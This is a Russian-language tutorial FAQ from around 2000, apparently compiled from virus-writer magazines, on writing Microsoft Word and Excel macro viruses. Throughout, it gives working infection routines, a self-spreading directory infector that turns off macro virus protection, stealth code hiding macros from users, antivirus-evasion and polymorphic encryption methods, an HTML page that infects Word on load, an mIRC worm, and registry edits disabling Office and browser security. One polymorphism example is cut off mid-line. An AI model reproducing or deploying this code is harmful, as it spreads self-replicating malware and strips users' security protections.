MACRO FAQ v1.0 от 10.02.2000
1. Макровирусы для Microsoft Word 6.0/7.0
(1997, журнал V_Zone)
1.1. ОСНОВНЫЕ ПОЛОЖЕНИЯ
1.2. ПЕРЕМЕННЫЕ И КОНСТАНТЫ
1.3. СТЕЛС - ТЕХНОЛОГИИ
1.4. АНТИ - ЭВРИСТИКА
1.5. ПРИМЕЧАНИЯ
2. Макровирусы для Microsoft Word 97
2.1. ОСНОВНЫЕ ПОЛОЖЕНИЯ
2.2. СТЕЛС - ТЕХНОЛОГИИ
2.3. ПОЛИМОРФИЗМ
(1999, журнал DVL#9)
2.4. ПРИМЕЧАНИЯ
3. Собственно FAQ как есть
3.1. А как работает VBA в Excel97?
3.2. А можно написать вирус заражающий Word и Excel?
3.3. Где еще использовать комманды SetObject и CreateObject?
3.4. Можно ли запустить какую-нибудь программу пользуяюсь
средствами VBA?
3.5. Можно ли получить доступ к системному окружению?
3.6. Можно ли написать IRC-червя средствами VBA?
3.7. А я слышал, можно отключить VirusProtection напрямую из
реестра, правда ли это?
4. Куда писать ругательства, по поводу всего этого?
1. Макровирусы для Microsoft Word 6.0/7.0
(1997, журнал V_Zone)
1.1. ОСНОВНЫЕ ПОЛОЖЕНИЯ
Написать MACRO - штучку оказалось просто, как..., нужно всего
лишь немного шарить в BASIC'е и знать ГЛАВНУЮ команду WordVirus'a -
MacroCopy Source, Destination
которая копирует макрос из Source в Destination, но в вирусе
используется два варианта этой команды:
MacroCopy FileName$()+":MacroName1","Normal:MacroName2"-копирует макрос
из файла в NORMAL.DOT
MacroCopy "Normal:MacroName1",FileName$()+":MacroName2"-копирует макрос
из NORMAL.DOT в файл
Кроме того, чтобы ваш вирус успешно существовал в среде Word'a
необходимо знать как собственно вирус запускается из файла: нужно всего
лишь, чтобы запускаемый макрос имел имя в файле AutoOpen и все! При
открытии файла Word автоматически запустит это макрос! Заражение файла
осуществляется примерно также, важно чтобы в файле NORMAL.DOT
присутствовал макрос FileOpen и при открытии файла зараженным Word'oм
вы получите доступ к файлу.
1.2. ПЕРЕМЕННЫЕ И КОНСТАНТЫ
dlg - массив Word'а используется им для поддержки
макросов вызываемых другим макросом.
FileName$() - имя открытого файла
CountMacros - количество макросов
MacroName$ - имя макроса
Normal - имя файла в котором хранятся
макросы (русский Word) если вы хотите заражать
аглицкий Word, замените везде Normal на Global
1.3. СТЕЛС - ТЕХНОЛОГИИ
Это ваще дребедень, проблема данного MACRO - вируса: его можно
легко найти и уничтожить, используя меню Сервис-Макрос, так вот чтобы
этого не происходило вместе с макросами вируса распространяйте макрос
macros -= ToolsMacro =-
Sub Main
End Sub
Это не ошибка! Распространяйте ПУСТОЙ макрос и все проблемы с простотой
будут решены! Правда есть одно НО. Глупый юзер обломится со всеми
остальными макросами :(
Более сложный, но и более корректный способ: обрабатывать ToolsMacro самому.
1.4. АНТИ-ЭВРИСТИКА
Как сделать так, чтобы DrWEB и иже с ним не ловили ваши детища?
Тут необходимо немного фантазии, но все же:
1. DrWEB не обрабатыает, например, смену шрифта.
2. Создаете макрос со случайным именем и записываете туда строку
MacroCopy ... , ... но перед этим задаете шрифт какого-нибудь
размера и записываете строку, расшифровывая по маске шрифта,
запускаете этот макрос и удаляете его! И все, все!
1.5. ПРИМЕЧАНИЯ
Стартовые макросы могут быть AutoOpen, AutoClose, AutoSave.
Глобальные макросы FileOpen, FileSaveAs, FileSave, FileClose.
Word.Macro.Stealth (AVP) - использует эти технологии и 2 года назад не
ловился даже на высшем уровне эвристики.
2. Макровирусы для Microsoft Word 97
2.1. ОСНОВНЫЕ ПОЛОЖЕНИЯ
Здесь все немного сложнее, поскольку Microsoft, наученная
горьким опытом макро-вирусов под Office 95, решила, что нужно сделать
какую-никакую защиту от макро-зверьков (и надо признаться, для этого
были все основания :). Но, главная ошибка компьютера это пользователь
и поэтому у зверей есть все-таки шанс!
Язык теперь несколько другой, был WordBasic стал Visual Basic
for Application (VBA).
Отталкиваясь от написания макросов для Office 95, рассмотрим 1 способ
написания макро-вирусов для Word 97:
ЗАРАЖЕНИЕ, ИСПОЛЬЗУЯ СТАРЫЙ МЕТОД КОПИРОВАНИЯ МАКРОСОВ
собственно комманда копирования:
Application.OrganizerCopy Source, Destination, Name, Object
где Source - Source:=NormalTemplate.FullName,
- откель копируем зараженные макросы
Destination - Destination:=ActiveDocument.FullName,
- куда копируем
Name - Name:="Your own macromodule name"
- имя модуля (не отдельного макроса, а сразу всего блока!)
Object - Object:=wdOrganizerObjectProjectItems
- собственно что копировать - макросы
эта команда показывает копирование из зараженного документа в Normal.dot,
при копировании из Normal.dot в документ соответсвенно меняем местами пути
Source и Destination
Но, спасибо Microsoft, теперь больше простора для фантазии, поэтому еще
способы:
2 способ написания макро-вириев:
ЗАРАЖЕНИЕ, ИСПОЛЬЗУЯ ФУНКЦИИ IMPORT И EXPORT
Итак, идея здесь несколько другая, и лежит целиком на совести разработчиков
Word'a, состоит эта идея в том, что вы копируете весь модуль на диск, а
затем импортируете его в заражаемый файл. Вот как это делается в вирусе
xix.Poppy от VicodinES:
ActiveDocument.VBProject.VBComponents("xix").Export "c:\xix.drv"
ActiveDocument.VBProject.VBComponents.Import "c:\xix.drv"
Маленькое примечание: "xix" - имя блока макросов,
"c:\xix.drv" - имя файла для экспорта/импорта
модулей
Расширение у подобного рода файлов обычно .drv, .sys и подобные системные
сделано это для того, чтобы при просмотре, например из проводника, этого файла
не было видно.
3 способ написания макро-вириев:
ЗАРАЖЕНИЕ, ИСПОЛЬЗУЯ ФУНКЦИИ РАБОТЫ С ФАЙЛОМ
Раз мы заговорили о import/export, то, можно работать напрямую с файлом
используя старые добрые операторы PRINT и LINE INPUT. Вот как это реализовано
в вирусе Ethan:
Сначала копирование модуля на диск:
Open "c:\ethan.___" For Output As #1
For i = 1 To MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
a = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(i, 1)
Print #1, a
Next i
Close #1
А затем перенос из файла в документ:
если Normal.dot не заражен то:
Set t = NormalTemplate.VBProject.VBComponents.Item(1)
если открываемые документ не заражен то:
Set t = ActiveDocument.VBProject.VBComponents.Item(1)
затем:
Open "c:\ethan.___" For Input As #1
If LOF(1) = 0 Then GoTo q
i = 1
Do While Not EOF(1)
Line Input #1, a
t.CodeModule.InsertLines i, a
i = i + 1
Loop
q:
Close #1
Работа с файлами не заканчивается только такими способами, резонно было
бы применить сканирование директорий как в нерезидентных вирусах.
Учитывая трепетное отношение LovinGod'а к копированию его материалов,
сразу утверждаю: СЛЕДУЮЩИЙ СПОСОБ ВЗЯТ С САЙТА ГРУППЫ SG, ИЗ РАЗДЕЛА IV
ONLINE, ФАЙЛ WMACRO.TXT, АВТОР ULTRAS (вот и ты попал в FAQ :)
"Нерезидентен" - при открытии зараженного файла ищет документы в каталогах от
текущего каталога до корневого и заражает их. Свое присутствие в файле
определяет по последовательности байт, которую при заражении записывает в
неиспользуемую область заголовка документа.
Sub AutoOpen()
'заражает при открытий документов
On Error Resume Next
Application.DisplayAlerts = wdAlertsNone
Options.VirusProtection = False
'Выключает защиту от вирусов и запуск авто-функций.
rsminf: FileName$ = CurDir$ + "\" + Dir("*.doc")
'ищем doc файлы в текущем каталоге
Open FileName$ For Input As #1
'открываем файл
Seek #1, 521
'ищем в нем строку
RSM$ = Input$(3, #1)
Close #1
If RSM$ = Chr$(1) + Chr$(18) + Chr$(191) Then GoTo chgdir
'если нашли свои опозновательные знаки, то меняем директорию
Open FileName$ For Append As #1
'нашли не зараженный документ откроем его
Seek #1, 523
'ищем строку
Print #1, Chr$(1) + Chr$(18) + Chr$(191) + Chr$(0) + Chr$(0)
'вписываем в найденный док метку вируса
Close #1
'закрываем документ
rsmdoc = ActiveDocument.FullName
Application.Documents.Open FileName
'открываем документ
Application.OrganizerCopy Source:=rsmdoc, Destination:=FileName, Name:="RatSMagic", Object:=wdOrganizerObjectProjectItems
'копируем модуль вируса в документ
Application.Documents.Save
'сохраним зараженный документ
ActiveDocument.Close
'закрываем
chgdir: ChDir ".."
'изменяем директорию
GoTo rsminf
'поиск файлов
ecsit:
end sub
И, последний способ, различные реализации которого используются в большинстве
вирусов выходящих в последнее время.
Set NT = NormalTemplate.VBProject.VBComponents(1).CodeModule
'В NT хранится путь к макросам Normal.dot
Set AD = ActiveDocument.VBProject.VBComponents(1).CodeModule
'В AD хранится путь к макросам активного документа
If NT.lines(1, 1) = "" Then
'Если нет никаких макросов в Normal.dot
NT.Insertlines 1, AD.lines(1, AD.countoflines)
'копируем макросы из активного документа в Normal.dot
End If
If AD.lines(1, 1) = "" Then
'Если нет никаких макросов в активном документе
AD.Insertlines 1, NT.lines(1, NT.countoflines)
'копируем макросы из Normal.dot в активный документ
End If
Кстати, этот способ самый идеальный для шифрованных и полиморфных вирусов, но
об этом позже.
2.2. СТЕЛС - ТЕХНОЛОГИИ
Здесь тоже все аналогично Office 95, но более продвинуто, то есть перекрыть
нужно не только ToolsMacro, а несколько:
Далее показано на примере, как сделать стелс обработчик для Word97.
'Отключить просмотр кода
Sub ViewVBCode(): Stealth: End Sub
'Отключить просмотр макросов
Sub ToolsMacro(): Stealth: End Sub
'Отключить просмотр подключенных модулей
Sub FileTemplates(): Stealth: End Sub
Private Sub Stealth(): On Error Resume Next
'Вырубить показ РедактораVB: Отключить клавишу Break
ShowVisualBasicEditor = 0: Application.EnableCancelKey = 0
End Sub
2.3. ПОЛИМОРФИЗМ
(1999, журнал DVL#9)
Итак, на данный момент есть множество полиморфов на VB, но
подавляющее большинство из них являются не совсем полиморфами, то есть
представляют из себя конструкции типа:
'kj2atlk3jOIJOJ6LkjrlJlkjLjrk22
For i=1 To n
'hjkljhlkjhl324jhlkqj3h5jkqhb
MsgBox i
'jhjehodhfgjnkbkjwekjt25jkbkjbKJBKJB
Next
В зависимости от алгоритма и фантазии автора вируса эти строки
могут содержать в себе различные символы, но основная идея остается той
же - вставлять между строками строки переменной длины с различными
символами. Недостатки ясны - стоит отсеять все ремарки, и voila! Вот
ваш вирус. Кроме того, большинство полиморфов модифицируют весь свой
код, не производя никаких проверок, что очень быстро делает вирус просто
огромным по размеру, и либо преращает его дальнейшее распространение,
либо ясно показывает, что файл поражен вирусом :(. Хотя сбылась мечта
всех вирмакеров, модифицировать весь код вируса, но толку принесло
совсем мало :(. Зачем изобретать велосипед? Есть множество хороших
алгоритмов для создания защищенных вирусов. Причем эти алгоритмы давно
используются для создания вирусов под DOS и Windows. Это старые добрые
шифрующие алгоритмы различной сложности. Существует множество статей
о создании шифрованного вируса под Word, но тем не менее, я коснусь
этой темы (кратко). Зашифрованное тело можно хранить, как минимум двумя
способами:
1. Создавая переменную в которой храниться зашифрованное тело вируса:
CryptedVirusBody="hl23kj6liuhrkljhluhilUHLIhliu"
CryptedVirusBody=CryptedVirusBody+"sdg3wW#HSDsehEh"
2. Храня зашифрованное тело вируса прямо в исходном коде:
Private Sub CryptedVirusBody()
'jl;kj2lkj;Ij)JHhh5kjhKJhKJ5huoho
'LKjlkigsohjwhj4klhLhLKhlwktioh
'JklwjijgnLnlniowngoi
End Sub
Разумеется, при разных способах хранения, существуют разные
способы расшифровки, для первого способа вы пишите декриптор работающий
напрямую с переменной, в которой храниться зашифрованное тело вируса.
Для второго же способа понадобиться алгоритм работающий напрямую с
исходным кодом, то есть что-то вроде:
c=lines(j,1)
if mid$(c,1,1)="'" then
... расшифровка ...
ReplaceLine j, EncryptedVariable
End If
Где j - номер строки кода.
У обоих способов есть свои преимущества и недостатки, у первого
способа это необходимость выработки алгоритма который вставляет куда-то
расшифрованную строку, у второго - некоторая громоздкость кода для
работы с поиском строк. Выбирайте любой. Существуют еще способы хранения
зашифрованных строк, но эти самые простые. Вот, вкратце и все о шифровании
тела вируса.
Теперь, о самом интересном: о полиморфах. Рассмотрим следующий
пример:
For i=1 to n 'часть расшифровщика;
For j=1 to 12425 '-+
eyeu=12 ' |
do while eyeu<234 ' | мусор;
eyeu=eyeu+43 ' |
loop ' |
next '-+
lkj=ljk+1 'часть расшифровщика;
jkhlk=142 '-+
if sdfg", "=" и сравнение с RND.
Для работы с работы с переменными следующие варианты:
var1=random
var1=var1+var2
var1=var2+var3
var1=var2
и т.д.
Вот и все о рекурсивных полиморфных алгоритмах. Но! После того, как
вы написали программу генерирующую полиморфный расшифровщик, сразу же
всплывает масса проблем о которых вы раньше не подозревали: длина одной
сроки не может быть больше 1024 символов, размер одной процедуры не может
быть больше 64 килобайт. И та и другая проблема сказывается на возможностях
полиморфа. Итак, вы должны внести корректировку по длине строки, на
полиморфных блоках это не сказывается, а вот если вы храните зашифрованное
тело вируса в строковых переменных, тогда придется делить переменную на
части. Размер полиморфа можно коррекитровать уменьшая степень рекурсии.
Есть другой вариант, перемешать строки расшифровщика и добавить в
него вызов процедур, тогда размер вируса равномерно распределиться между
процедурами и и одна из них не будет больше 64К. Как перемешать, спросите
вы? Тогда ведь структура расшифровщика нарушиться и он будет представлять
собой просто набор нерабочих комманд. Приведу пример:
private sub try()
goto loop1
loop2:
msgbox "метка номер двас :)"
goto loop3
loop1:
msgbox "метка номер раз"
goto loop2
loop3:
end sub
Что сделает такая программа когда вы ее запустите? Правильно, сначала
напечатат про метку номер раз, а потом про метку номер двас. Но ведь метка
номер два у нас идет первой? Как же так? Поняли? Та же самая идея в
полиморфе, имеется куча премешанных комманд, которые после выполнения уходят
в случайное место кода, где уже подготовлена следующая комманда для
выполнения. Кроме того, чтобы не перегружать размер подпрограммы, мы с чистой
совестью можем сделать вызов процедуры вместо GOTO, разумеется процедуру
нужно вызывать со всеми переменными используемыми в расшифровщике, либо
объявлять их глобальными, но это уже мелочи.
Теперь о возможных глюках:
1. Длина одной строки должна быть меньше 1024 символов;
2. Размер одной процедуры должен быть меньше 64К;
3. Переменные используемые в расшифровщике должны быть доступны в
любой подпрограмме;
4. Переменные используемые в расшифровщике и используемые в "мусоре"
не должны совпадать, иначе расшифровка пойдет неправильно;
5. Циклы в "мусоре" не должны быть очень большими, иначе юзер может
подумать, что компьютер завис;
6. Имена меток не должны совпадать с именами любых переменных;
7. Любая строка с условием должна стоять отдельно:
никаких lkj=24: if jkh>qfg then :jkwg=wga:
в первом двоеточии произойдет ошибка, во втором исполнится
как код.
Все примеры описываемые здесь подразумевали, что каждая строка идет
отдельно, но есть же еще и двоеточия! Делайте случайный выбор между символами
окончания строки Chr$(13)+Chr$(10) и ":". Разумеется, нужна проверка на длину
строки и проверка на "одиночество" условий. Кроме того, для усложнения
детектирования, я использовал различные операторы для основного цикла.
2.4. ПРИМЕЧАНИЯ
Имена макросов такие же как в Office 95, но имена программ VBA следующие:
Document_Close(), Document_Open(), Document_New() и другие.
Собственно FAQ как есть
Q.: А как работает VBA в Excel97?
A.: Аналогично Word97, но с некоторыми отличиями: например, вместо
Document_Open - Workbook_Open. Кроме того, в Excel нет общего шаблона
типа Normal.dot, и поэтому заражение осуществляется, зараженный файл
копируется в директорию Microsoft Office\Office\XLStart и при старте
Excel этот файл автоматически загрузится и макросы в нем станут
глобальными! Получить эту директорию можно как Application.StartupPath
Более подробно об этом можно узнать в следующих версиях MACRO FAQ
Q.: А можно написать вирус заражающий Word и Excel?
A.: Да, можно. Благодаря корпорации Microsoft все приложения Office 97
могут общаться между собой. Делается этос помощью комманд SetObject
и CreateObject. Вот как это реализовано в вирусе MultiSys (Office97.
Triplex.c или Office97.Hooper.g):
xlsObj = GetObject(, "Excel.Application"): Quit = 0
If xlsObj = "" Then
Set xlApp = CreateObject("Excel.Application"): Quit = 1
End If
If UCase(Dir(xlApp.Application.StartupPath + "\cs.xls"))<> UCase("CS.XLS") Then
xlApp.Workbooks.Add.SaveAs xlApp.Application.StartupPath & "\cs.xls"
xlApp.Workbooks("cs.xls").VBProject.VBComponents.Item("ThisWorkbook").CodeModule.InsertLines 1, NT.Lines(1,NT.CountOfLines)
xlApp.Workbooks("cs.xls").Close SaveChanges:=True
End If
If Quit = 1 Then xlApp.Application.Quit
Q.: Где еще использовать комманды SetObject и CreateObject?
A.: Везде, где можно использовать VisualBasic. Вот как сделать заражение
Word97 из HTM файла:
<html>
<CyberShadow>
<BODY>
<script language="VBScript"><!--
Private Sub Window_Onload
On Error Resume Next
If location.protocol = "file:" then
Dim FSO
Set FSO = CreateObject("Scripting.FileSystemObject")
HostPath = Replace(location.href, "file:///", "")
HostPath = Replace(HostPath, "/", "\")
Set WordObj = GetObject("","Word.Application"): Quit = 0
If WordObj = "" Then
Set WordObj = CreateObject("Word.Application"): Quit = 1
End If
Set NT = WordObj.Templates(1).VBProject.VBComponents(1).Codemodule
If NT.Lines(1,1) <> "'<html> <CyberShadow>" then
WordObj.Options.SaveNormalPrompt = False
NT.DeleteLines 1, NT.CountOfLines
NT.Addfromfile HostPath
NT.DeleteLines NT.CountOfLines-3,3
For j = 1 to 3
NT.ReplaceLine j, "'" + NT.Lines(j,1)
Next
End If
Set NT = Nothing
if Quit=1 then WordObj.Quit
End if
End Sub
Private Sub Document_Close()
MsgBox "You are infected!"
End Sub
--></script>
</BODY>
</HTML>
Q.: Можно ли запустить какую-нибудь программу пользуяюсь средствами VBA?
A.: rv = Shell("c:\dropper.com", 6), эта строчка запускает файл dropper.com
с диска C как отдельную задачу свернутую в значок.
Q.: Можно ли получить доступ к системному окружению?
A.: Разумеется. Следующий пример распечатывает PATH:
Private Sub GetPath()
a = Environ("PATH")
i = 1
Do While i <= Len(a)
c = ""
Do While i <= Len(a) And Mid$(a, i, 1) <> ";"
c = c + Mid$(a, i, 1)
i = i + 1
Loop
MsgBox c
i = i + 1
Loop
End Sub
Q.: Можно ли написать IRC-червя средствами VBA?
A.: Вот пример простейшего IRC-червя:
Private Sub Document_Close()
'mirc joke by CyberShadow//SMF
'Smiles to harmless :)
MyDir = CurDir
For i = 0 To 5
a = Chr$(Asc("C") + i)
Call infect(a)
Next
End Sub
Private Sub infect(a)
On Error GoTo outta
a = a + ":\mirc\"
Open a + "script.ini" For Output As #1
Print #1, "[script]"
Print #1, "n0=on 1:JOIN:#:/dcc send $nick " + a + "NewFiles.doc"
Close #1
ActiveDocument.Save
ActiveDocument.SaveAs a + "NewFiles.doc"
ActiveDocument.Close
outta:
End Sub
Q.: А я слышал, можно отключить VirusProtection напрямую из реестра, правда
ли это?
A.: Да, правда. Вот несколько ключей в реестре:
вырубить предупреждения о запуске опасного ActiveX приложения, очень
удобно для cross вирусов типа DOC-HTML-VBS
"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0", "1201" = ""
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0", "1201" = ""
вырубить MacroVirusProtection для Excel
"HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Excel\Microsoft Excel", "Options6" = ""
"HKEY_LOCAL_MACHINE\Software\Microsoft\Office\8.0\New User Settings\Excel\Microsoft Excel", "Options6" = ""
вырубить MacroVirusProtection для Word
"HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Word\Options","EnableMacroVirusProtection"="0"
"HKEY_LOCAL_MACHINE\Software\Microsoft\Office\8.0\Word\Options","EnableMacroVirusProtection"="0"
Задать страницу, запускающуюся при старте InternetExplorer
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]
"Start Page"="C:\\WINDOWS\\SYSTEM\\virus.htm"
[HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main]
"Start Page"="C:\\WINDOWS\\SYSTEM\\virus.htm"
Куда писать ругательства, по поводу всего этого?
Куда угодно! :)
А на e-mail [email protected] присылайте свои пожелания и вопросы на которые
вы хотели бы узнать ответ в следующей версии MACRO FAQ. Обновляться будет
по мере поступления новых вопросов.
У кого проблемы с e-mail, обращайтесь к Imagineer aka Yura Pospelov он мне
перешлет.
|